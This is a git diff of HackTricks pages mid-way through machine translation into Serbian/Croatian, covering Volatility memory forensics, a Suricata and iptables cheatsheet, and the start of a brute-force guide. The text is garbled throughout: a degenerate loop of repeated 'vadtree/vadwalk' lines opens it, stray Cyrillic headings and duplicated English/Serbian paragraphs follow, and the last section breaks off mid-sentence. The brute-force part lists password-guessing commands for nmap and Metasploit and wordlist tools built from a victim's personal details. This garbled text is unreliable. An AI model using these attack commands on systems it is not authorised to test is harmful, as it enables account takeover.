**vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **v ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` {% endtab %} {% endtabs %} -### Get clipboard - +### Dobijanje sadržaja iz privremene memorije (clipboard) ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` +### Dobijanje istorije pretraživača Internet Explorer -### Get IE history +Koristite sledeću komandu da biste dobili istoriju pretraživača Internet Explorer: +```bash +volatility -f --profile= iehistory +``` + +Zamenite `` sa putanjom do memorijskog dumpa i `` sa odgovarajućim profilom za analizu. ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` +### Dobijanje teksta iz beležnice -### Get notepad text +Koristite sledeću komandu da biste dobili tekst iz beležnice: +```bash +volatility -f memory_dump.vmem --profile=PROFILE notepad +``` + +Gde `memory_dump.vmem` predstavlja ime fajla sa memorijskim dumpom, a `PROFILE` predstavlja profil operativnog sistema. ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### Снимак екрана ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - ### Master Boot Record (MBR) +### Master Boot Record (MBR) (Master Boot Rekord) + +The Master Boot Record (MBR) is the first sector of a storage device (such as a hard disk) that contains the boot loader and partition table. It plays a crucial role in the boot process of a computer. + +Master Boot Record (MBR) je prvi sektor uređaja za skladištenje (kao što je hard disk) koji sadrži boot loader i tabelu particija. Ima ključnu ulogu u procesu pokretanja računara. + +### Volatility Commands for MBR Analysis + +### Volatility Commands for MBR Analysis (Volatility komande za analizu MBR-a) + +To analyze the Master Boot Record (MBR) using Volatility, you can use the following commands: + +Za analizu Master Boot Record (MBR) pomoću Volatility-a, možete koristiti sledeće komande: + +``` +volatility -f mbrparser +``` + +This command will parse the memory dump and extract information about the Master Boot Record (MBR). + +Ova komanda će parsirati memory dump i izvući informacije o Master Boot Record (MBR). + +``` +volatility -f mbrparser --output=html --output-file= +``` + +This command will parse the memory dump and generate an HTML report with information about the Master Boot Record (MBR). + +Ova komanda će parsirati memory dump i generisati HTML izveštaj sa informacijama o Master Boot Record (MBR). + +### MBR Analysis Techniques + +### Tehnike analize MBR-a + +When analyzing the Master Boot Record (MBR), you can use various techniques to gather information and identify any malicious activity. Some common techniques include: + +Prilikom analize Master Boot Record (MBR), možete koristiti različite tehnike za prikupljanje informacija i identifikaciju bilo kakve zlonamerne aktivnosti. Neke uobičajene tehnike uključuju: + +- **Static Analysis**: This involves examining the binary code of the MBR to identify any suspicious or malicious instructions. + +- **Statička analiza**: Ovo uključuje pregledanje binarnog koda MBR-a radi identifikacije sumnjivih ili zlonamernih instrukcija. + +- **Dynamic Analysis**: This involves executing the MBR in a controlled environment (such as a virtual machine) to observe its behavior and identify any malicious actions. + +- **Dinamička analiza**: Ovo uključuje izvršavanje MBR-a u kontrolisanom okruženju (kao što je virtuelna mašina) radi posmatranja njegovog ponašanja i identifikacije bilo kakvih zlonamernih radnji. + +- **Signature-based Analysis**: This involves comparing the MBR against known signatures of malware to identify any matches. + +- **Analiza na osnovu potpisa**: Ovo uključuje upoređivanje MBR-a sa poznatim potpisima zlonamernog softvera radi identifikacije podudaranja. + +- **Behavioral Analysis**: This involves analyzing the behavior of the MBR during the boot process to identify any abnormal or suspicious activities. + +- **Ponašajna analiza**: Ovo uključuje analizu ponašanja MBR-a tokom procesa pokretanja radi identifikacije bilo kakvih abnormalnih ili sumnjivih aktivnosti. + +By using these techniques, you can gain valuable insights into the Master Boot Record (MBR) and detect any potential security threats. + +Korišćenjem ovih tehnika, možete dobiti vredne uvide u Master Boot Record (MBR) i otkriti potencijalne sigurnosne pretnje. ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +**Master Boot Record (MBR)** ima ključnu ulogu u upravljanju logičkim particijama skladišnog medija, koje su strukturirane s različitim [datotečnim sustavima](https://en.wikipedia.org/wiki/File_system). Ne samo da sadrži informacije o rasporedu particija, već također sadrži izvršni kod koji djeluje kao pokretač sustava za pokretanje. Taj pokretač sustava za pokretanje ili izravno pokreće postupak učitavanja drugog stupnja operativnog sustava (vidi [pokretač sustava za pokretanje drugog stupnja](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) ili radi u skladu s [zapisom za pokretanje volumena](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) svake particije. Za dubinsko znanje, pogledajte [MBR stranicu na Wikipediji](https://en.wikipedia.org/wiki/Master_boot_record). -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## Reference * [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) * [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) * [https://or10nlabs.tech/cgi-sys/suspendedpage.cgi](https://or10nlabs.tech/cgi-sys/suspendedpage.cgi) @@ -818,20 +3499,20 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj o kibernetičkoj sigurnosti u **Španiji** i jedan od najvažnijih u **Europi**. S misijom promicanja tehničkog znanja, ovaj kongres je vruća točka susreta za stručnjake za tehnologiju i kibernetičku sigurnost u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakiranje AWS-a od nule do heroja s htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricksu: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite vidjeti **oglašavanje vaše tvrtke u HackTricksu** ili **preuzeti HackTricks u PDF formatu**, provjerite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)! +* Nabavite [**službenu PEASS & HackTricks opremu**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podijelite svoje hakirajuće trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorije.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 30c228215..cb2eed323 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -1,29 +1,28 @@ -# Suricata & Iptables cheatsheet +# Suricata & Iptables šifarnik
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
## Iptables -### Chains +### Lančevi -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +U iptables-u, liste pravila poznate kao lančevi se obrađuju sekvenčno. Među njima, tri osnovna lanca su univerzalno prisutna, sa dodatnim kao što je NAT koji može biti podržan u zavisnosti od mogućnosti sistema. -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Input lanac**: Koristi se za upravljanje ponašanjem dolaznih veza. +- **Forward lanac**: Koristi se za upravljanje dolaznim vezama koje nisu namenjene lokalnom sistemu. Ovo je tipično za uređaje koji deluju kao ruteri, gde primljeni podaci treba da budu prosleđeni drugoj destinaciji. Ovaj lanac je relevantan pre svega kada sistem učestvuje u rutiranju, NAT-ovanju ili sličnim aktivnostima. +- **Output lanac**: Posvećen regulisanju odlaznih veza. +Ovi lanci omogućavaju uređeno procesiranje mrežnog saobraćaja, omogućavajući specificiranje detaljnih pravila koja regulišu protok podataka u, kroz i iz sistema. ```bash # Delete all rules iptables -F @@ -60,11 +59,41 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config +### Instalacija & Konfiguracija +```bash +# Instalacija Suricate +sudo apt-get install suricata + +# Konfiguracija Suricate +sudo nano /etc/suricata/suricata.yaml + +# Podešavanje interfejsa za nadgledanje +sudo nano /etc/suricata/suricata.yaml + +# Podešavanje pravila za detekciju +sudo nano /etc/suricata/suricata.yaml + +# Pokretanje Suricate +sudo suricata -c /etc/suricata/suricata.yaml -i eth0 +``` + +## Iptables + +### Instalacija & Konfiguracija + +```bash +# Instalacija Iptables +sudo apt-get install iptables + +# Konfiguracija Iptables +sudo iptables -A INPUT -j NFQUEUE --queue-num 0 + +# Pokretanje Iptables +sudo iptables -I INPUT -j NFQUEUE --queue-num 0 +``` ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -74,7 +103,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -90,11 +119,11 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules -systemctl suricata start +systemctl suricata start suricata -c /etc/suricata/suricata.yaml -i eth0 @@ -102,7 +131,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -111,8 +140,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -130,76 +159,70 @@ Type=simple systemctl daemon-reload ``` +### Definicije pravila -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -* The **action**, determines what happens when the signature matches. -* The **header**, defines the protocol, IP addresses, ports and direction of the rule. -* The **rule options**, define the specifics of the rule. +[Iz dokumentacije:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Pravilo/potpis se sastoji od sledećeg: +* **Akcija** određuje šta se dešava kada se pravilo poklapa. +* **Zaglavlje** definiše protokol, IP adrese, portove i smer pravila. +* **Opcije pravila** definišu specifičnosti pravila. ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **Validne akcije su** -#### **Valid actions are** +* alert - generiše upozorenje +* pass - zaustavlja dalju inspekciju paketa +* **drop** - odbacuje paket i generiše upozorenje +* **reject** - šalje RST/ICMP nedostupnu grešku pošiljaocu odgovarajućeg paketa. +* rejectsrc - isto kao i _reject_ +* rejectdst - šalje RST/ICMP grešku paketa primaocu odgovarajućeg paketa. +* rejectboth - šalje RST/ICMP greške paketima na obe strane razgovora. -* alert - generate an alert -* pass - stop further inspection of the packet -* **drop** - drop packet and generate alert -* **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -* rejectsrc - same as just _reject_ -* rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -* rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **Protokoli** -#### **Protocols** - -* tcp (for tcp-traffic) +* tcp (za tcp-saobraćaj) * udp * icmp -* ip (ip stands for ‘all’ or ‘any’) -* _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +* ip (ip označava 'sve' ili 'bilo koji') +* _layer7 protokoli_: http, ftp, tls, smb, dns, ssh... (više u [**dokumentaciji**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### Izvorišne i odredišne adrese -It supports IP ranges, negations and a list of addresses: +Podržava opsege IP adresa, negacije i listu adresa: -| Example | Meaning | +| Primer | Značenje | | ------------------------------ | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME\_NET | Your setting of HOME\_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET and not HOME\_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| ! 1.1.1.1 | Sve IP adrese osim 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | Sve IP adrese osim 1.1.1.1 i 1.1.1.2 | +| $HOME\_NET | Vaša postavka HOME\_NET u yaml-u | +| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET i ne HOME\_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 osim 10.0.0.5 | -#### Source and Destination Ports +#### Izvorišni i odredišni portovi -It supports port ranges, negations and lists of ports +Podržava opsege portova, negacije i liste portova -| Example | Meaning | +| Primer | Značenje | | --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| any | bilo koji port | +| \[80, 81, 82] | port 80, 81 i 82 | +| \[80: 82] | Opseg od 80 do 82 | +| \[1024: ] | Od 1024 do najvišeg broja porta | +| !80 | Svaki port osim 80 | +| \[80:100,!99] | Opseg od 80 do 100, ali bez 99 | +| \[1:80,!\[2,4]] | Opseg od 1 do 80, osim portova 2 i 4 | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### Smer +Moguće je naznačiti smer primene pravila komunikacije: ``` source -> destination source <> destination (both directions) ``` +#### Ključne reči -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Postoji **stotine opcija** dostupnih u Suricati za pretragu **specifičnog paketa** koji tražite, ovde će biti navedeno ako se pronađe nešto interesantno. Proverite [**dokumentaciju**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) za više informacija! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -240,15 +263,14 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 297231576..039836d84 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -3,28 +3,28 @@
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Default Credentials +## Podrazumevane akreditacije -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Pretražite u Google-u** podrazumevane akreditacije tehnologije koja se koristi, ili **probajte ove linkove**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -37,14 +37,13 @@ Other ways to support HackTricks: * [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) -* [**https://theinfocentric.com/**](https://theinfocentric.com/) +* [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **Kreirajte sopstvene rečnike** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +Pronađite što više informacija o cilju i generišite prilagođeni rečnik. Alati koji mogu pomoći: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -55,44 +54,39 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl +Cewl je alat koji se koristi za prikupljanje reči sa web stranica. Ovaj alat može biti koristan za izgradnju rečnika za napade brute force. Cewl analizira HTML sadržaj web stranica i izvlači reči na osnovu različitih kriterijuma kao što su dužina reči, broj pojavljivanja i slično. Može se koristiti za prikupljanje reči iz veb stranica, blogova, foruma i drugih izvora. Alat takođe podržava filtriranje reči na osnovu različitih kriterijuma kao što su isključivanje određenih reči ili filtriranje samo specifičnih vrsta reči. Cewl je moćan alat koji može pomoći u izgradnji rečnika za napade brute force i poboljšanju efikasnosti ovih napada. ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...) ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Alatka za generisanje liste reči, koja vam omogućava da unesete skup reči i napravite više varijacija od tih reči, stvarajući jedinstvenu i idealnu listu reči za upotrebu u vezi sa određenim ciljem. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ + +Version 1.0.3 Cycurity - Version 1.0.3 Cycurity - Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists @@ -111,17 +105,16 @@ Finished in 0.920s.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Services +## Usluge -Ordered alphabetically by service name. +Poredane po abecednom redu prema imenu usluge. ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -131,114 +124,314 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP +AJP (Apache JServ Protocol) je protokol koji se koristi za komunikaciju između web servera i web aplikacija koje se izvršavaju na Apache Tomcat serveru. Ovaj protokol omogućava efikasnu i brzu razmenu podataka između servera i aplikacija. + +Brute force napadi na AJP protokol mogu biti veoma efikasni jer se često koriste slabe lozinke ili podrazumevane vrednosti za autentifikaciju. Da biste izvršili brute force napad na AJP protokol, možete koristiti alate kao što su Hydra ili Medusa. + +Prilikom izvođenja brute force napada na AJP protokol, važno je da koristite rečnike sa širokim spektrom lozinki i da podesite odgovarajuće parametre za napad, kao što su broj pokušaja po sekundi i vreme čekanja između pokušaja. + +Takođe, možete iskoristiti ranjivosti u implementaciji AJP protokola kako biste izvršili napad. Na primer, neke verzije Apache Tomcat servera imaju ranjivosti koje omogućavaju napadačima da izvrše remote code execution ili da dobiju pristup osetljivim informacijama. + +Da biste se zaštitili od brute force napada na AJP protokol, preporučuje se korišćenje 